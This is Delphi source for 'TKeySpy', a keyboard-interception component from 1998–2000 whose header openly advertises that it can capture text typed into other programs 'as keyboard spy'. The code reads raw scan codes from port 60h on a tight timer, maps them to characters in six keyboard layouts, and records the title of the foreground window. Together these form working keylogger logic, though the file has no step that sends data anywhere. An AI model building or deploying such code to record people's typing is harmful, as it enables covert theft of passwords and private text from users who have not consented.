{*************************************************************}
{ TKeySpy Component for Delphi 16/32 }
{ Version: 2.8 }
{ E-Mail: info@utilmind.com }
{ Home page: www.utilmind.com }
{ Created: August, 16, 1998 }
{ Modified: June, 6, 2000 }
{ Legal: Copyright (c) 1998-2000, UtilMind Solutions }
{*************************************************************}
{ KEYBOARD SPY: }
{ This component is intended for interception of pressing the }
{ keyboard. The KeySpy is possible to apply for interception }
{ of the typed text of the another's programs, as keyboard }
{ spy, or for processing events at type certain keywords etc..}
{*************************************************************}
{ Properties: ************************************************}
{ Enabled: As it usual... }
{ Keyword: At a set of this word event will be }
{ carried out (See OnKeyword event). }
{ ActiveLayout: Active keyboard layout (string) Win32 only }
{ SpyLayout: now present English, Russian, German }
{ & Italian }
{ActiveWindowTitle: Title of active window (Read only) }
{ Events: ************************************************}
{ OnKeySpyDown: As OnKeyDown, but in any place (window). }
{ OnKeySpyUp: As OnKeyUp, but in any place (window). }
{ OnKeyword: The Keyword has been typed (See Keyword). }
{ OnLayoutChanged: The Keyboard layout was changed. Win32 only}
{ OnActiveWindowChanged: }
{*************************************************************}
{ IMPORTANT NOTE: }
{ This code may be used and modified by anyone so long as }
{ this header and copyright information remains intact. By }
{ using this code you agree to indemnify UtilMind Solutions }
{ from any liability that might arise from its use. You must }
{ obtain written consent before selling or redistributing }
{ this code. }
{*************************************************************}
{ Changes: }
{ 20.I.1999: Added 32-bit support }
{ 14.V.1999: Added OnChangeLayout event. }
{ Added Italian and Russian keyboard layouts. }
{ 28.V.1999: Added ActiveWindowTitle property. }
{ 27.VII.1999: Added Portugese keyboard layout. }
{ Thanks to Tiago Correia (tcorreia@cnotinfor.pt)}
{ 19.IX.1999: Added German keyboard layout (added by Slaine, }
{ slaine@redseven.de) }
{ 5.V.2000: Added French keyboard layout (added by Vincent }
{ CALLIES, thraxsivae@hotmail.com) }
{*************************************************************}
unit KeySpy;
interface
uses
{$IFDEF WIN32} Windows, {$ELSE} WinTypes, WinProcs,{$ENDIF}
SysUtils, Controls, Classes, Messages, Forms;
type
TSpyLayout = (klAmerican, klItalian, klRussian, klPortuguese, klGerman, klFrench);
TOnKeySpy = procedure(Sender: TObject; Key: Byte; KeyStr: String) of object;
{$IFDEF Win32}
TOnLayoutChanged = procedure(Sender: TObject; Layout: String) of object;
{$ENDIF}
TOnActiveWindowChanged = procedure(Sender: TObject; ActiveTitle: String) of object;
TKeySpy = class(TComponent)
private
{$IFDEF Win32}
CurrentLayout: String;
FActiveLayout: String;
{$ENDIF}
CurrentActiveWindowTitle: String;
FActiveWindowTitle: String;
FSpyLayout: TSpyLayout;
FWindowHandle: HWnd;
FOnKeySpyDown, FOnKeySpyUp: TOnKeySpy;
FOnKeyword: TNotifyEvent;
{$IFDEF Win32}
FOnLayoutChanged: TOnLayoutChanged;
{$ENDIF}
FOnActiveWindowChanged: TOnActiveWindowChanged;
FEnabled: Boolean;
FKeyword,
KeyComp: String;
OldKey: Byte;
LShiftUp, RShiftUp: Boolean;
procedure UpdateTimer;
procedure SetEnabled(Value: Boolean);
procedure SetKeyword(Value: String);
procedure WndProc(var Msg: TMessage);
procedure SetNothingStr(Value: String);
protected
procedure KeySpy; dynamic;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property ActiveWindowTitle: String read FActiveWindowTitle write SetNothingStr;
property Enabled: Boolean read FEnabled write SetEnabled;
property Keyword: String read FKeyword write SetKeyword;
property SpyLayout: TSpyLayout read FSpyLayout write FSpyLayout;
{$IFDEF Win32}
property ActiveLayout: String read FActiveLayout write FActiveLayout;
{$ENDIF}
property OnKeySpyDown: TOnKeySpy read FOnKeySpyDown write FOnKeySpyDown;
property OnKeySpyUp: TOnKeySpy read FOnKeySpyUp write FOnKeySpyUp;
property OnKeyword: TNotifyEvent read FOnKeyword write FOnKeyword;
{$IFDEF Win32}
property OnLayoutChanged: TOnLayoutChanged read FOnLayoutChanged write FOnLayoutChanged;
{$ENDIF}
property OnActiveTitleChanged: TOnActiveWindowChanged read FOnActiveWindowChanged write FOnActiveWindowChanged;
end;
procedure Register;
implementation
{$I KLayouts.inc}
constructor TKeySpy.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
LShiftUp := True;
RShiftUp := True;
FEnabled := True;
FWindowHandle := AllocateHWnd(WndProc);
if FEnabled then UpdateTimer;
end;
destructor TKeySpy.Destroy;
begin
FEnabled := False;
UpdateTimer;
DeallocateHWnd(FWindowHandle);
inherited Destroy;
end;
procedure TKeySpy.WndProc(var Msg: TMessage);
begin
with Msg do
if Msg = WM_TIMER then
try
KeySpy;
except
Application.HandleException(Self);
end
else
Result := DefWindowProc(FWindowHandle, Msg, wParam, lParam);
end;
procedure TKeySpy.UpdateTimer;
var
b: Byte;
begin
KillTimer(FWindowHandle, 1);
if FEnabled then
begin
asm
mov al, 60h
mov b, al
end;
OldKey := b;
if SetTimer(FWindowHandle, 1, 1, nil) = 0 then
raise EOutOfResources.Create('No timers');
end;
end;
procedure TKeySpy.SetEnabled(Value: Boolean);
begin
if Value <> FEnabled then
begin
FEnabled := Value;
UpdateTimer;
end;
end;
procedure TKeySpy.SetKeyword(Value: String);
begin
Value := LowerCase(Value);
if Value <> FKeyword then
FKeyword := Value;
end;
procedure TKeySpy.KeySpy;
var
PC: Array[0..$FFF] of Char;
Key: Byte;
St: String;
Wnd: hWnd;
begin
{$IFDEF Win32}
Wnd := GetForegroundWindow;
{$ELSE}
Wnd := GetActiveWindow;
{$ENDIF}
SendMessage(Wnd, wm_GetText, $FFF, LongInt(@PC));
FActiveWindowTitle := StrPas(PC);
if CurrentActiveWindowTitle <> FActiveWindowTitle then
begin
CurrentActiveWindowTitle := FActiveWindowTitle;
if Assigned(FOnActiveWindowChanged) then
FOnActiveWindowChanged(Self, FActiveWindowTitle);
end;
{$IFDEF Win32}
GetKeyboardLayoutName(PC);
FActiveLayout := StrPas(PC);
if (FActiveLayout <> CurrentLayout) then
begin
CurrentLayout := FActiveLayout;
if Assigned(FOnLayoutChanged) then
FOnLayoutChanged(Self, FActiveLayout);
end;
{$ENDIF}
asm
in al, 60h
mov Key, al
end;
if Key = 170 then
begin
Key := 84;
LShiftUp := True;
end;
if Key = 182 then
begin
Key := 85;
RShiftUp := True;
end;
if Key = 42 then LShiftUp := False;
if Key = 54 then RShiftUp := False;
if Key <> OldKey then
begin
OldKey := Key;
if Key <= 88 then
begin
case FSpyLayout of
klAmerican: if LShiftUp and RShiftUp then
St := StrPas(LowButtonName[Key])
else
St := StrPas(HiButtonName[Key]);
klItalian: if LShiftUp and RShiftUp then
St := StrPas(ItalianLowButtonName[Key])
else
St := StrPas(ItalianHiButtonName[Key]);
klRussian: if LShiftUp and RShiftUp then
St := StrPas(RussianLowButtonName[Key])
else
St := StrPas(RussianHiButtonName[Key]);
klPortuguese: if LShiftUp and RShiftUp then
St := StrPas(PortugueseLowButtonName[Key])
else
St := StrPas(PortugueseHiButtonName[Key]);
klGerman: if LShiftUp and RShiftUp then
St := StrPas(GermanLowButtonName[Key])
else
St := StrPas(GermanHiButtonName[Key]);
klFrench: if LShiftUp and RShiftUp then
St := StrPas(FrenchLowButtonName[Key])
else
St := StrPas(FrenchHiButtonName[Key]);
end;
if Assigned(FOnKeySpyDown) then
FOnKeySpyDown(Self, Key, St);
if Assigned(FOnKeyword) then
begin
KeyComp := KeyComp + St;
if Length(KeyComp) > Length(FKeyword) then
begin
Move(KeyComp[Length(St) + 1], KeyComp[1], Length(KeyComp));
{$IFDEF WIN32}
SetLength(KeyComp, Length(FKeyword));
{$ELSE}
KeyComp[0] := char(Length(FKeyword));
{$ENDIF}
end;
if LowerCase(KeyComp) = FKeyword then
FOnKeyword(Self);
end;
end
else
if Key - 128 <= 88 then
begin
case FSpyLayout of
klAmerican: if LShiftUp and RShiftUp then
St := StrPas(LowButtonName[Key - 128])
else
St := StrPas(HiButtonName[Key - 128]);
klItalian: if LShiftUp and RShiftUp then
St := StrPas(ItalianLowButtonName[Key - 128])
else
St := StrPas(ItalianHiButtonName[Key - 128]);
klRussian: if LShiftUp and RShiftUp then
St := StrPas(RussianLowButtonName[Key - 128])
else
St := StrPas(RussianHiButtonName[Key - 128]);
klPortuguese: if LShiftUp and RShiftUp then
St := StrPas(PortugueseLowButtonName[Key - 128])
else
St := StrPas(PortugueseHiButtonName[Key - 128]);
klGerman: if LShiftUp and RShiftUp then
St := StrPas(GermanLowButtonName[Key - 128])
else
St := StrPas(GermanHiButtonName[Key - 128]);
klFrench: if LShiftUp and RShiftUp then
St := StrPas(FrenchLowButtonName[Key - 128])
else
St := StrPas(FrenchHiButtonName[Key - 128]);
end;
if Assigned(FOnKeySpyUp) then
FOnKeySpyUp(Self, Key, St)
end;
end;
end;
procedure TKeySpy.SetNothingStr(Value: String); begin {} end;
procedure Register;
begin
RegisterComponents('UtilMind', [TKeySpy]);
end;
end.